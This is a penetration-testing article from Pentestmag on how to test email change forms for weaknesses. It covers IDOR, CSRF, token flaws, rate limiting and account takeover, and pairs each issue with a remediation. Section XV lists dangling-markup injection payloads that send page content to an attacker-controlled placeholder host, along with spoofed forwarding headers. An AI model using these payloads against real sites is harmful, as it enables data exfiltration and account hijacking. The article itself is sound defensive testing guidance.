AppSec Tales IV | Email Change - Pentestmag

AppSec Tales IV | Email Change

AppSec Tales IV | Email Change
by Karol Mazurek

Application Security Testing of the Email Change form guidelines.

INTRODUCTION

This is the fourth article in the AppSec series which describes how to test Email Change forms to ensure a secure authentication process.
The advice in this article is based on:

  • OWASP Web Security Testing Guide
  • OWASP Application Security Verification Standard
  • NIST recommendations
  • bug bounty reports
  • own experience.

I will provide a short test sample, a potential impact or an attack scenario, and a possible solution to the problem at each point.

GUIDELINES

I. BROKEN PROCESS

Check if the email change process flow is implemented correctly.

  • If the attacker successfully exploits another flaw, like CSRF or XSS in the application, he could change the email address of the victim thus hijacking his account.
  • With temporary access to the victim’s account (e.g. physical access to a device with an active session), an attacker could associate a new e-mail to the account and then use password recovery to hijack it.
  • An attacker could use the victim’s email without verification thus sending phishing to him from the application.
Source: Own study — Proper email change process chart.

Password verification on email change requests should be implemented.
The application should not block the new email address before its verification.
The new address should not be accepted and used without verification.
The old email address should be free to use after the change.

II. EMAIL BLOCKING (DoS)

Check if you can block email addresses you do not own from using.

  • The attacker could block email addresses from using.
Source: Own study — Email blocking testing flow.

The application should not block the new email address before its verification.

III. SHARED EMAIL ADDRESS

Change the email address to one already in use by another account.

  • The attacker could use this for a phishing campaign by sending messages from the application to the victim using their email address.
  • Another scenario may be that the attacker makes purchases from his account, the invoice to be paid will then be sent to the email of the victim, who may accidentally pay for the order.
  • A victim’s mailbox can be flooded with huge amounts of e-mail messages, as a result, the mail server can place messages from the target application in the spam or block them completely from delivery.
Source: Own study — Testing shared email address.

The email address should be associated with only one account.

IV. ENUMERATION

Check if it is possible to enumerate email addresses.

Source: Own study — Email addresses enumeration using email change feature page.

The generic message should be implemented and the timing difference should not be significant enough to allow user enumeration.

V. BROKEN ACCESS CONTROL — OLD EMAIL REUSAGE

Check if you can use the old email to access any functionality.

  • The attacker who compromised the victim’s old email address could hijack his application account.

Old email addresses should not be accepted anywhere except registration and not be only “deactivated” in the database while still bound to the old account.

VI. PASSWORD RECOVERY FLAWS AFTER EMAIL CHANGE

Check the password recovery feature after changing the email.

  • The attacker who compromised the victim’s old email address could hijack his application account.
Source: Own study — Password recovery flaws after email change testing flow.

The token should be invalidated after the email change and not sent to the old email address.

VII. SHARED TOKEN

Use an email verification token to access other features.

  • The attacker could reset the victim’s account password using the password recovery mechanism.
  • Additionally, a victim may accidentally forward this token to a third party, unaware that it could be used against him.
Source: Own study — Using password recovery feature with email change verification token.

The token generated by a given functionality should only work for it.

VIII. WEAK EMAIL CHANGE TOKEN

Ensure that generated tokens are secure.

  • The attacker could reuse the token, thus hijacking the victim’s account.
  • Since the token would be easily guessed, the attacker could change the victim’s password and hijack the victim’s account.
  • If the token does not have an expiry date, there could be a situation where the attacker would compromise the victim’s old email inbox with an unused token that he could use to hijack his account.
Source: Own study — Email change token testing flow.
Source: Own study — Loading all tokens from the file into Burp Sequencer.

The token should be at least 32 characters long, generated using a secure source of randomness, single-use, time-limited, and bound to account.

IX. BROKEN TOKEN INVALIDATION

Change email twice and try to use the old token.

  • There may be a situation where the user made a mistake during the e-mail address change, in that case, someone could use such a token and hijack the account.
Source: Own study — Testing Broken Token Invalidation.

Only the newest token should work.

X. IDOR

Abuse the Email Change API by issuing another account email.

  • An attacker could hijack the victim’s account just by knowing its email.

 

Source: Own study — Testing Insecure Direct Object Reference on email change (fuzzing wordlist).

The API should reject the email changes of another user.
Password verification on email change requests should be properly implemented.

XI. CSRF

Check the CSRF protection on the email change feature.

  • An attacker creates a web page, inserts a hidden CSRF form, then lures the victim to visit it — the email will be changed automatically.
Source: Own study — Generating CSRF PoC using Burp Suite I.
Source: Own study — Generating CSRF PoC using Burp Suite II.

Implement an unpredictable token in each HTTP request.
Such tokens should, at a minimum, be unique per user session.
Check CSRF Prevention Cheat Sheet from OWASP.

XII. NO RATE-LIMITING — MAILBOX FLOODING

Send the email change request 1000 times in a short time.

  • The attacker could send password recovery tokens massively to a victim’s inbox, causing its saturation which eventually hides important information from other emails.
  • Facilitates the attacker in the enumeration of email addresses, gathering token samples, and blocking emails.
Source: Own study — Setting up Burp Intruder for the email change rate-limit test.

Restrict the consecutive requests through mechanisms like time delay, CAPTCHA, or other controls. No more than 100 failed attempts per hour should be possible on a single account.

XIII. INPUT LENGTH LIMITATIONS

Check parameter values length limits.

  • The most common issue is that the hashing mechanism on the password parameter value causes DoS.
  • An overlong email address could crash the database.
Source: Own study — Proper length limitations.

Implement proper length limitations on the data received from the user.

XIV. SESSION PUZZLING

Swap the new email with the old email.

  • An attacker could hijack a victim’s account only by knowing its email.
Source: Own study — Session Puzzling testing flow.

Session variables should only be used for a single consistent purpose.

XV. VERIFICATION LINK POISONING

Poison the domain part of the email change link.

  • It could allow the attacker to hijack the account of the victim user who clicked on the poisoned email change link.

 

Source: Own study — The testing flow of email change poisoning (fuzzing wordlist).

DANGLING MARKUPS PAYLOADS

"><img src='//domain_collab? 
"><img src='http://domain_collab/log.php?HTML=
"><meta http-equiv="refresh" content='0; url=http://domain_collab/log.php?text=
"><meta http-equiv="refresh" content='0;URL=file://domain_collab?a=
"><table background='//domain_collab?'
"><base href='http://domain_collab/'>
"><button name=xss type=submit formaction='https://domain_collab'>I get consumed!
"><input type='hidden' name='review_body' value="
"><form action=http://domain_collab><input type="submit">Click Me</input><select name=xss><option
"><noscript><form action=http://domain_collab><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
"><script src='/search?q=a&call=alert(1)'></script>
"><html><head></head><body><script>top.window.location = "https://domain_collab/hacked.html"</script></body></html>
"><portal src='https://domain_collab?

ADDITIONAL HEADERS

X-Originating-IP: domain_collab
X-Forwarded-For: domain_collab
X-Remote-IP: domain_collab
X-Remote-Addr: domain_collab
X-Client-IP: domain_collab
X-Host: domain_collab
X-Forwarded-Host: domain_collab
X-Forwarded-Server: domain_collab
X-HTTP-Host-Override: domain_collab
Forwarded: domain_collab

Avoid using the Host header altogether in server-side code.
Double-check whether each URL needs to be absolute & avoid additional headers.

XVI. PARAMETER POISONING

Try to duplicate the new email address parameter.

  • There could be inconsistency between change email API and verification token generator which could send a verification link to the first email address but activate the second one.

 

Source: Own study — Duplicating email change new email parameter (fuzzing wordlist).

Email change API should not accept multiple values for the same parameter.

XVII. MASS ASSIGNMENT

Change|add permissions during email change.

  • An attacker could get an administration privileged, bypass paying a subscription fee if it is implemented, or get to the restriction area.

 

Source: Own study — Mass assignment testing flow (example of a fuzzing wordlist).

 

Source: Own study — Using the Param Miner extension.

Granting permissions should not depend on user-controllable location, such as a hidden field, cookie, or preset query string parameter.

XVIII. SUPPORT CHANGE

Ask the application support for an email change.

  • An attacker could hijack any user account just by knowing its email.
Source: Own study — Social engineering attack on email change.

The internal guidelines for customer support should be as safe as technical security measures.

XIX. PRE-ACCOUNT TAKEOVER

Check no password registration methods.

  • The attacker could hijack an account that was created with SSO.
  • The attacker could set a trap by registering an account using the no password method and waiting for the victim to register with an email.
Source: Own study — Testing no password registering methods.

Email validation should be implemented.

XX. INPUT VALIDATION

Check the AppSec Tales I and AppSec Tales II.

Check the Input Validation Cheat Sheet from OWASP.

XXI. MISSING PASSWORD FIELD MASKING

Check if the software does mask passwords during entry.

  • Increasing the potential for attackers to observe and capture passwords.
Source: Own study — Example of missing password field masking.

Include a password field mask and an option to view the masked password.

XXII. CREDENTIALS OVER AN UNENCRYPTED CHANNEL

Check if data is transferred via HTTP or as a parameter in the URL.

  • Sensitive data may be logged by the browser, the webserver, and forward or reverse proxy servers between the two endpoints.
  • It could be also displayed on-screen, bookmarked, or emailed around by users.
  • They may be disclosed to third parties via the Referer header when any off-site links are followed.
Source: Own study — Example of sensitive data transmitted in the path and using HTTP.

Sensitive data in the URL and sent using not secure Hypertext Transfer Protocol increases the risk that it will be captured.

FINAL WORDS

Testing any element of a Web Application is like sailing the open ocean.
Treat the WSTG like the compass and the ASVS like azimuth.

However, do not forget that someone had to invent it. Therefore you always have to look for new ways that you will not find in the WSTG or here, but you have to find them yourself.

Nevertheless, I hope you will find this article useful and keep coming back to it. I also encourage you to comment if you have an idea for a point for this article or if you find any bugs here ;]


August 29, 2022
Subscribe
Notify of
guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
Inline Feedbacks
View all comments

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013

"PowerShell for Pentesters"
Join our newsletter and receive one of our premium issues for free.
x